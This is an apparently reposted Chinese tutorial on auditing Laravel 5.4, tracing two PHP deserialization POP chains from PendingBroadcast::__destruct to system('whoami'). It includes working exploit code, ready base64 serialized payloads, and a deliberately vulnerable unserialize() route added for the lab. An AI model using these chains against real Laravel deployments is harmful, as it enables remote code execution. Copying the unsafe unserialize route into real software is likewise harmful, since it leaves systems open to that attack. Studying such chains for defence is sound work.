『代码审计』从零开始的 Laravel 框架学习之旅(1)

admin 2024年1月14日20:05:59评论25 views字数 6064阅读20分12秒阅读模式
『代码审计』从零开始的 Laravel  框架学习之旅(1)
『代码审计』从零开始的 Laravel  框架学习之旅(1)

点击蓝字关注我们

日期:2024-01-12

作者:Obsidian

介绍:Laravel 框架相关漏洞的新手学习记录。

0x01 前期准备

Laravel 是基于MVC架构的 PHP 框架,所以要学习它的反序列化漏洞,需要对PHP基础、反序列化基础、类与对象以及命名空间的概念有所了解。

参考资料:

  • https://www.php.net/manual/zh/langref.php

  • https://www.php.net/manual/zh/language.oop5.php

  • https://www.php.net/manual/zh/language.namespaces.php

在了解完基础概念之后,需要进行测试环境搭建。

安装 Laravel 可使用composer一步到位,在web目录下,例如/var/www/html/,执行以下命令:

composer create-project --prefer-dist laravel/laravel laravel "5.4.*"

安装完成后,还需要对目录进行权限设置:

chmod 777 -R laravel/storage/

完成之后,访问web目录下的/laravel/public/index.php路径,如果内容与下图一致,说明搭建成功。

『代码审计』从零开始的 Laravel  框架学习之旅(1)

之后需要添加一个反序列化漏洞的入口:

首先在路由文件routes/web.php,添加如下代码,添加一个新的路由并增加反序列化利用点:

Route::get('/', function(){    echo 'test';    @unserialize(base64_decode($_GET['test']));});

『代码审计』从零开始的 Laravel  框架学习之旅(1)

之后访问/laravel/public/index.php,进行测试即可。

『代码审计』从零开始的 Laravel  框架学习之旅(1)

0x02 漏洞分析及复现

当然,在开始之前,需要先简单列一下常见的魔术方法。

魔术方法 触发条件
__wakeup() 使用unserialize时触发,常用于反序列化漏洞的起点,优先级高于__destruct()
__sleep() 使用serialize时触发
__construct() 对象被创建时触发
__destruct() 对象被销毁时触发,常用于反序列化漏洞的起点
__call() 在对象上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发

常规而言,反序列化漏洞的触发点一般是__wakeup()或者__destruct(),于是全局搜索相关函数:

『代码审计』从零开始的 Laravel  框架学习之旅(1)

经过多次尝试后,发现PendingBroadcast可利用性很高,打开/laravel/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php文件,删除多余的代码和注释后,精简代码如下:

<?phpnamespace IlluminateBroadcasting;class PendingBroadcast{    protected $events;    protected $event;    public function __destruct(){        $this->events->dispatch($this->event);    }}

在经过反序列化时,通过__destruct魔术方法,触发了$this->eventsdispatch方法,此时可以发现$this->events$this->event均可控。

这时候会有两种情况:

  1. events对象存在dispatch方法,于是触发dispatch方法,从dispatch方法触发其他危险函数。

  2. events对象不存在dispatch方法,于是触发__call()魔术方法,从__call()方法触发其他危险函数。

这里的危险函数是泛指一切类似于call_user_func之类的可直接或间接执行命令的函数。

POP1

我们先从第一种情况开始考虑。

首先寻找含有dispatch()函数的类,通过工具搜索关键字function dispatch(,共找到18个文件。

『代码审计』从零开始的 Laravel  框架学习之旅(1)

首先来看第一个文件/laravel/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php,删除多余的代码和注释后,精简代码如下:

<?phpnamespace IlluminateBus;class Dispatcher implements QueueingDispatcher{    protected $queueResolver;    public function dispatch($command){        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {            return $this->dispatchToQueue($command);        }    }    protected function commandShouldBeQueued($command){        return $command instanceof ShouldQueue;    }    public function dispatchToQueue($command){        $connection = isset($command->connection) ? $command->connection : null;        $queue = call_user_func($this->queueResolver, $connection);    }}

简单分析一下,dispatch函数接收$command参数,然后进行if判断,如果条件成立,就将$command传递给dispatchToQueue函数。dispatchToQueue函数接收$command参数后,进行了一步参数处理,将处理后的参数带入了call_user_func中。

最终我们的目的是利用call_user_func函数执行命令,那么$this->queueResolver是可控的,可设置值为system。而$connection是由$command->connection赋值而来,所以$command需要存在connection属性,并且需要可控。要想通过if判断进入call_user_func函数,就需要通过commandShouldBeQueued函数,所以$command需要属于ShouldQueue类。

总结条件为:

  1. $this-&gt;queueResolver='system';

  2. $command = new ShouldQueue();$command-&gt;connection='whoami';

但是通过全局搜索,并没有找到class ShouldQueue,转变下思路,搜索下继承class ShouldQueue的类。

『代码审计』从零开始的 Laravel  框架学习之旅(1)

这四个类任选其一即可,至此,我们可以简单地构造一个POP链:

IlluminateBroadcastingPendingBroadcast::__destruct()->IlluminateBusDispatcher::dispatch()->dispatchToQueue()->call_user_func()->system('whoami')

简单写一下EXP的代码:

<?phpnamespace IlluminateEvents;class CallQueuedListener {    public $connection="whoami";}namespace IlluminateBus;class Dispatcher{    protected $queueResolver;    public function __construct(){        $this->queueResolver = "system";    }}namespace IlluminateBroadcasting;use IlluminateEventsCallQueuedListener;use IlluminateBusDispatcher;class PendingBroadcast{    protected $events;    protected $event;    public function __construct() {            $this->events = new Dispatcher();//dispatch            $this->event = new CallQueuedListener();//command    }}echo base64_encode(serialize(new PendingBroadcast()));//Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozNjoiSWxsdW1pbmF0ZVxFdmVudHNcQ2FsbFF1ZXVlZExpc3RlbmVyIjoxOntzOjEwOiJjb25uZWN0aW9uIjtzOjY6Indob2FtaSI7fX0=

成功命令执行:

『代码审计』从零开始的 Laravel  框架学习之旅(1)

POP2

继续寻找含有dispatch()函数的类,全局搜索的第二个和第三个文件均为接口类,现在来看第四个文件/laravel/vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php,删除多余的代码和注释后,精简代码如下:

<?phpnamespace IlluminateEvents;class Dispatcher implements DispatcherContract{    protected $listeners = [];    public function dispatch($event, $payload = [], $halt = false){        foreach ($this->getListeners($event) as $listener) {            $response = $listener($event, $payload);        }    }    public function getListeners($eventName){        $listeners = isset($this->listeners[$eventName]) ? $this->listeners[$eventName] : [];        $listeners = array_merge(            $listeners, $this->getWildcardListeners($eventName)        );        return class_exists($eventName, false)                    ? $this->addInterfaceListeners($eventName, $listeners)                    : $listeners;    }}

其中$listener($event, $payload);php的可变函数,可通过这种方式来调用函数。

system是可以接收两个参数的,于是可以写出简单的利用过程:

<?php$listener="system";$event="whoami";$payload=[];$response = $listener($event, $payload);

结果如下:

『代码审计』从零开始的 Laravel  框架学习之旅(1)

$event是我们可控的,接下来需要通过$this->getListeners($event)来控制$listener。在进入函数的第一行,将$this->listeners[$eventName]赋值给了$listener,而$this->listeners是可控的,那么就需要的是$this->listeners["whoami"]=["system"]。下面的array_merge操作是拼接数组,对利用没有影响,因为在利用的时候,使用的是foreach循环。最后在返回值的时候,需要满足class_exists($eventName, false)false,也就是要不存在$eventName类,假如执行的命令是whoami,那么需要满足class whoami不存在,这个就不需要特殊构造了。

至此,我们可以简单地构造一个POP链:

IlluminateBroadcastingPendingBroadcast::__destruct()->IlluminateEventsDispatcher::dispatch()->getListeners()->$listener($event, $payload)->system('whoami')

简单写一下EXP的代码:

<?phpnamespace IlluminateEvents;class Dispatcher{       protected $listeners;       public function __construct($event){           $this->listeners[$event]=["system"];       }}namespace IlluminateBroadcasting;use  IlluminateEventsDispatcher;class PendingBroadcast{    protected $events;    protected $event;    public function __construct() {        $this->event = "whoami";        $this->events = new Dispatcher($this->event);    }}echo base64_encode(serialize(new PendingBroadcast()));//Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjY6Indob2FtaSI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6Njoid2hvYW1pIjt9

成功命令执行:

『代码审计』从零开始的 Laravel  框架学习之旅(1)

0x03 总结

其他含有dispatch()函数的类,暂未发现可利用的点,由于触发__call()魔术方法的类数量过多,于是放在下篇文章。

『代码审计』从零开始的 Laravel  框架学习之旅(1)

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『代码审计』从零开始的 Laravel 框架学习之旅(1)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月14日20:05:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』从零开始的 Laravel 框架学习之旅(1)http://cn-sec.com/archives/2392742.html

发表评论

匿名网友 填写信息